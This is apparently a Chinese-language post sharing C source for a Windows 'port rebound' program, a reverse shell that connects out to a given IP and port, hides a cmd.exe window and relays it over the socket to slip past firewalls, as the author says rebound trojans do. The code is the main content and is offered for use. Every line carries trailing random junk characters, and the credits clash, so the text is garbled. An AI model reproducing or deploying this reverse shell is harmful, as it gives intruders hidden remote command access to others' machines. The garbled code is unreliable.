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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |"S#uJW  
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/* ============================== }q'IY:r  
Rebound port in Windows NT 6 VuyKt  
By wind,2006/7 ,>za|y<n  
===============================*/ }0Uh<v@  
#include /8nUecr  
#include z>iXNwz"?  
1P'A*`!K  
#pragma comment(lib,"wsock32.lib") 'Bxj(LaV-  
0 f$96sl  
void OutputShell(); G 9 (*F  
SOCKET sClient; JtsXMZz  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; l'@!'  
>)G[ww[  
void main(int argc,char **argv) Yl lZ5<}  
{ MkjB4:"  
WSADATA stWsaData; "'@D\e}  
int nRet; 7Z~JuTIZ  
SOCKADDR_IN stSaiClient,stSaiServer; *9xxX,QT8Q  
<2L,+  
if(argc != 3) %{pjC7j#  
{ 68(^*  
printf("Useage:\n\rRebound DestIP DestPort\n"); cruBJZr*  
return; =:zPT;K  
} @YQ*a4`  
HFTeG4R  
WSAStartup(MAKEWORD(2,2),&stWsaData); b/Ma,}  
9_F&G('V{a  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LI25VDZ|iP  
&BNlMF  
stSaiClient.sin_family = AF_INET; sD2,!/'  
stSaiClient.sin_port = htons(0); v\MQ?VC  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :uB?h1|  
b 9"t%R9/Q  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) UN F\k1[  
{ WVhQ?2@}  
printf("Bind Socket Failed!\n"); !Ur.b @ke  
return; BD;T>M  
} cWZ uph\  
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stSaiServer.sin_family = AF_INET; 54JZOtC3~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); F?"Gln~;  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); n4M Xa()P1  
3e47UquZ  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) at{p4Sl  
{ Ha/Qz'^S;  
printf("Connect Error!"); =Ul"{T<  
return;  S.B?l_d^  
} nM:<l}~v{  
OutputShell(); U`8Er48X  
} WagL8BpLx  
XP0;Q;WF}  
void OutputShell() rQGInzYp  
{ @mv G=:k  
char szBuff[1024]; kksffzG  
SECURITY_ATTRIBUTES stSecurityAttributes; [! wJIy?,  
OSVERSIONINFO stOsversionInfo; iY?#R&  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _&U#*g  
STARTUPINFO stStartupInfo; 9-q> W  
char *szShell; d$x vEm  
PROCESS_INFORMATION stProcessInformation; cYe2 a "  
unsigned long lBytesRead; 9}a$0H h  
]\A=[T^  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); zVf79UrK  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); WcS`T?Xa  
stSecurityAttributes.lpSecurityDescriptor = 0; )8rF'pxI  
stSecurityAttributes.bInheritHandle = TRUE; o _l_Yi  
}CMGK{  
ZzTkEz >  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); zh0T3U0D  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); >o{JG(Rn  
4e.19H9  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); E`(=n(Qu  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KS$"Re$  
stStartupInfo.wShowWindow = SW_HIDE; _yR_u+5  
stStartupInfo.hStdInput = hReadPipe; ;|oft-y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; QdcuV\B}  
&4}=@'G@  
GetVersionEx(&stOsversionInfo); ot2zY dWAz  
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switch(stOsversionInfo.dwPlatformId) *QWOW g4w  
{ rC!"<  
case 1: iu*&Jz)D>  
szShell = "command.com"; =[!(s/+>L  
break; T?d}IDv1  
default: #_aq@)Fd  
szShell = "cmd.exe"; U{Oo@ztT  
break; YEaT_zWG0  
} 60$;Q,]o  
_h  \L6.  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &Wb"/Hn2  
[q3zs_nz  
send(sClient,szMsg,77,0); <;W-!R759  
while(1) DCZG'eb  
{ Y/I)ECm  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); m%[/w wL  
if(lBytesRead) AkW>*x  
{ BY[7`@  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); t2OBVzK  
send(sClient,szBuff,lBytesRead,0); na8`V`77  
} IzUpkwN  
else f.^|2T I1g  
{ 7)[Ve1;/N  
lBytesRead=recv(sClient,szBuff,1024,0); +[MHl  
if(lBytesRead<=0) break; i/'bpGrQ(  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &g5PPQ18  
} ! }e75=x  
} 9_jiUZFje  
NziCN*6  
return; 3imsIBr  
}
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